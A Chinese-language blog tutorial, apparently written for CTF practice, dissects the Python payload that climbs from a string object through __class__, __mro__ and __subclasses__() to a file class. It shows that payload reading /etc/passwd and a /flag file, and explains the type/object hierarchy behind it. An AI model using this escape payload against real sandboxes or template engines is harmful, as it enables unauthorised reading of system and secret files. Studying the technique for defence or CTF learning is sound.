总览

"".__class__.__mro__[2].__subclasses__()[40]("/etc/passwd").read()

其实就是类似java的反射,通过一个对象找到另一个对象,这里通过一个字符串对象,找了一个文件对象,然后初始化,读取,就是这么个事。

# 获得一个字符串实例>>> ""

''

# 获得字符串的type实例>>> "".__class__

# 获得其父类>>> "".__class__.__mro__

(, , )

# 获得父类中的object类>>> "".__class__.__mro__[2]

# 获得object类的子类,但发现这个__subclasses__属性是个方法>>> "".__class__.__mro__[2].__subclasses__

# 使用__subclasses__()方法,获得object类的子类>>> "".__class__.__mro__[2].__subclasses__()

[, , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , ]

# 获得第40个子类的一个实例,即一个file实例

>>> "".__class__.__mro__[2].__subclasses__()[40]

# 对file初始化

>>> "".__class__.__mro__[2].__subclasses__()[40]("/etc/passwd")

# 使用file的read属性读取,但发现是个方法

>>> "".__class__.__mro__[2].__subclasses__()[40]("/etc/passwd").read

# 使用read()方法读取

>>> "".__class__.__mro__[2].__subclasses__()[40]("/etc/passwd").read()

nobody:*:-2:-2:Unprivileged

User:/var/empty:/usr/bin/false

root:*:0:0:System

Administrator:/var/root:/bin/sh

问题

但我怎么知道__subclasses__是一个方法,而不是一个直接可以返回数组的变量呢?我又怎么知道什么类有什么方法或者属性呢?比如我如何知道应该用__mro__属性去找父类?而__mro__是什么类的成员方法??

首先__subclasses__是方法还是属性可以根据提示来判断如:

>>> "".__class__.__mro__[2].__subclasses__

另外,python中有一个内置函数是dir(),可以用这个函数来查看传入参数的成员方法以及属性,我们来尝试一下

>>> dir("")

['__add__', '__class__', '__contains__', '__delattr__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__getitem__', '__getnewargs__', '__getslice__', '__gt__', '__hash__', '__init__', '__le__', '__len__', '__lt__', '__mod__', '__mul__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__rmod__', '__rmul__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', '_formatter_field_name_split', '_formatter_parser', 'capitalize', 'center', 'count', 'decode', 'encode', 'endswith', 'expandtabs', 'find', 'format', 'index', 'isalnum', 'isalpha', 'isdigit', 'islower', 'isspace', 'istitle', 'isupper', 'join', 'ljust', 'lower', 'lstrip', 'partition', 'replace', 'rfind', 'rindex', 'rjust', 'rpartition', 'rsplit', 'rstrip', 'split', 'splitlines', 'startswith', 'strip', 'swapcase', 'title', 'translate', 'upper', 'zfill']

>>> dir("".__class__)

['__add__', '__class__', '__contains__', '__delattr__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__getitem__', '__getnewargs__', '__getslice__', '__gt__', '__hash__', '__init__', '__le__', '__len__', '__lt__', '__mod__', '__mul__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__rmod__', '__rmul__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', '_formatter_field_name_split', '_formatter_parser', 'capitalize', 'center', 'count', 'decode', 'encode', 'endswith', 'expandtabs', 'find', 'format', 'index', 'isalnum', 'isalpha', 'isdigit', 'islower', 'isspace', 'istitle', 'isupper', 'join', 'ljust', 'lower', 'lstrip', 'partition', 'replace', 'rfind', 'rindex', 'rjust', 'rpartition', 'rsplit', 'rstrip', 'split', 'splitlines', 'startswith', 'strip', 'swapcase', 'title', 'translate', 'upper', 'zfill']

首先我们看到dir("")与dir("".__class__)的结果是完全一样的

按照"".__class__.__mro__[2].__subclasses__()[40]("/etc/passwd").read() 的利用方法,接下来应该使用__mro__这个属性,来获得父类,但是我并没有在dir("".__class__)中看到这个属性,这是为什么呢?__mro__属性在哪呢?

type与object

为了解释上面的这个问题,我们先要了解在python中的一个哲学问题,就是type与object的问题,这二位就像是哲学上的物质与意识,不仅相互关联,而且不可分割。

在Python的世界中:

object是父子关系的顶端,所有的数据类型的父类都是它

type是类型实例关系的顶端,所有对象都是它的实例的

也就是说这里不同于我们之前学到的类与对象的关系,这里有两条线,一个是类的关系,一个是实例的关系。也就是说:

object和type都既是类又是实例

object是type的一个实例

type是object的子类

__class__与__base__属性

__class__属性可以沿着实例这条链往上走一个

__base__属性可以沿着父子类关系这个条链往上走一个

>>> "".__class__

>>> "".__class__.__class__

>>> "".__class__.__class__.__base__

>>> "".__class__.__class__.__base__.__class__

>>> "".__class__.__class__.__base__.__class__.__base__

>>> "".__class__.__class__.__base__.__class__.__base__.__class__

可见之前的结论:object是type的一个实例, type是object的子类

>>> "".__class__

>>> "".__base__

Traceback (most recent call last):

File "", line 1, in

AttributeError: 'str' object has no attribute '__base__'

>>> "".__class__.__base__

我们可以看到”“这个字符串对象中是没有__base__这个属性的,而"".__class__却可以获得,但是我们在前面的dir()函数中传入""和"".__class__所获得的结果是一样的啊,这两个都没有__base__属性,那么这个属性到底在哪呢?

""与"".__class__的区别

type()函数,用来返回变量的类型,返回的是一个type实例

>>> ""

''

>>> "".__class__

>>> type("")

>>> type("".__class__)

我们可以看到字符串变量""是的一个实例,而是一个实例,而其实__base__这个属性是在中的属性。

真相

真相就在中

>>> "".__class__.__class__

>>> dir("".__class__.__class__)

['__abstractmethods__', '__base__', '__bases__', '__basicsize__', '__call__', '__class__', '__delattr__', '__dict__', '__dictoffset__', '__doc__', '__eq__', '__flags__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__instancecheck__', '__itemsize__', '__le__', '__lt__', '__module__', '__mro__', '__name__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasscheck__', '__subclasses__', '__subclasshook__', '__weakrefoffset__', 'mro']

>>> dir(type("".__class__))

['__abstractmethods__', '__base__', '__bases__', '__basicsize__', '__call__', '__class__', '__delattr__', '__dict__', '__dictoffset__', '__doc__', '__eq__', '__flags__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__instancecheck__', '__itemsize__', '__le__', '__lt__', '__module__', '__mro__', '__name__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasscheck__', '__subclasses__', '__subclasshook__', '__weakrefoffset__', 'mro']

猛然发现这个里有__base__,__class__,__subclasses__,__mro__,原来这些玩意都在这里啊,也就是说这几个属性,只要是type实例应该都有。

重看利用

"".__class__.__mro__[2].__subclasses__()[40]("/etc/passwd").read()

通过"".__class__获得一个的实例

因为是的一个实例,所以可用的__mro__属性获得其父类的顶端

因为是的一个实例,所以可用的__subclasses__()函数获得object的所有子类

找到第40个子类是文件,然后初始化调用读取方法即可

非得用__mro__么

我们看到,我们无非是要找到然后调用__subclasses__()函数,因为object是父类的顶端,也即是用__base__到顶,所以如下方式均可成功:

>>> "".__class__.__base__.__base__.__subclasses__()[40]("/flag").read()

'63572fda-25fa-46bf-abae-94314f11a4a1\n'

>>> type("".__class__).__base__.__subclasses__()[40]("/flag").read()

'63572fda-25fa-46bf-abae-94314f11a4a1\n'

总结函数

__base__:子类找父类

__subclasses__():父类找子类

__class__:子实例找父实例

看起来好像没有父实例找子实例的方法或者属性

python __reduce__魔法方法_关于python魔术方法payload:.__class__.__mro__[2].__subclasses__()[40](/etc/passwd...相关推荐

  1. python魔术方法print_Python中的魔术方法入门

    介绍 在Python中,所有以"__"双下划线包起来的方法,都统称为"Magic Method",中文称『魔术方法』,例如类的初始化方法 __init__ ,P ...

  2. php魔术方法 效率,PHP常用魔术方法的性能探究

    性能往往是衡量代码很重要的一个标准.我们日常编码中经常会用到一些魔术方法,这些PHP提供的魔术方法是否会影响我们程序的性能呢?是否需要减少魔术方法 的使用呢?本文将通过测试对比来了解魔术方法对性能的影 ...

  3. php魔术方法的理解,php魔术方法的认识

    在php中将所有以"__"即两个下划线开头的类方法保留为魔术方法,PHP中魔术方法有"__construct()"."__destruct()&quo ...

  4. python __reduce__魔法方法_Python魔法方法指南

    (译)Python魔法方法指南 简介 本指南归纳于我的几个月的博客,主题是 魔法方法 . 什么是魔法方法呢?它们在面向对象的Python的处处皆是.它们是一些可以让你对类添加"魔法" ...

  5. 【Python基础】Python中必须知道的5对魔术方法

    原文作者:Yong Cui 翻译:Lemon 译文出品:Python数据之道 Photo by Liz Hixon on Unsplash 简介 在使用Python命名函数时,我们可以使用下划线以及字 ...

  6. python 类的魔术方法_python中类的魔术方法

    目的:学习python中class的magic methods,提高编程效率. 环境:ubuntu 16.4   python 3.5.2 在学习class时一定会接触到它的magic methods ...

  7. python描述符魔术方法_Python类型转换的魔术方法详解

    本文讨论python中将某个复杂对象转换为简单对象或数据类型的常用魔术放啊,这些在编程中是十分有用的. 1.__str__方法. 在讲解本方法前我们先打开一个jupyter notebook,随意创建 ...

  8. python 客户端应用程序_创建python Web服务和C#客户端应用程序的最佳方法 - c#

    我正在寻找一种简单可靠的方法来创建Python Web Service并从.Net(c#)应用程序中使用它. 我发现了很多不同的库,其中一个库比另一个库好,但是似乎没有人提供关于Python Web ...

  9. python怎么更新数据库_在Python的Django框架中更新数据库数据的方法

    先使用一些关键参数创建对象实例,如下: >>> p = Publisher(name='Apress', ... address='2855 Telegraph Ave.', ... ...

最新文章

  1. Web Application Stress Tool(WAS)性能测试
  2. SwiftUI区分浅色和深色
  3. 常用ARM指令总结(未完待续)
  4. getAttribute方法在IE6/7下获取href/src属性值的问题
  5. C++ 流体效果的实现
  6. 一个简单的if else优化
  7. 富文本++php+源码,自己实现富文本编辑器
  8. win10易升_微软Win10版本20H2正式版官方ISO镜像下载大全_windows10_Windows系列_操作系统...
  9. mysql tnsnames.ora_tnsnames.ora配置注意(连接新的数据库)
  10. Asp.net Core 添加 EF 工具并执行初始迁移错误解决方法(Add-Migration Initial---Build failed.)
  11. scala上界_Scala方差,上界和下界
  12. 学生用的笔记本电脑什么样的好_最适合2020年看的选购指南:这些笔记本电脑便宜又好用...
  13. Hive MetaStore 配置
  14. 零代码开发HTTP REST服务接口(数据服务接口)
  15. 你不知道的JavaScript(上中下)全册
  16. SPSS - 显著性分析 一般线性模型的单因素与多因素选择
  17. word安全模式解除方法
  18. Android 加载进度条,加载成功,数据为空,加载失败,无网络等状态不同界面的切换
  19. 计算机网络里面ap是什么,网络ap是什么意思
  20. CoAP协议学习笔记——CoAP格式详解

热门文章

  1. Atutor、 Claroline、 Moddle及Sakai号称为四大开源课程管理系统
  2. 数据分析之机器学习(整理笔记)
  3. python图像变形
  4. vue中一个组件导入另一个组件
  5. opencv-python将一个视频切成n份视频
  6. 卷积神经网络的一些规则
  7. 用 vue 写小程序,基于 mpvue 框架重写 weui
  8. The only supported ciphers are AES-128-CBC and AES-256-CBC
  9. Nginx的继续深入(日志轮询切割,重写,负载均衡等)
  10. [LeetCode] Sum of Two Integers 两数之和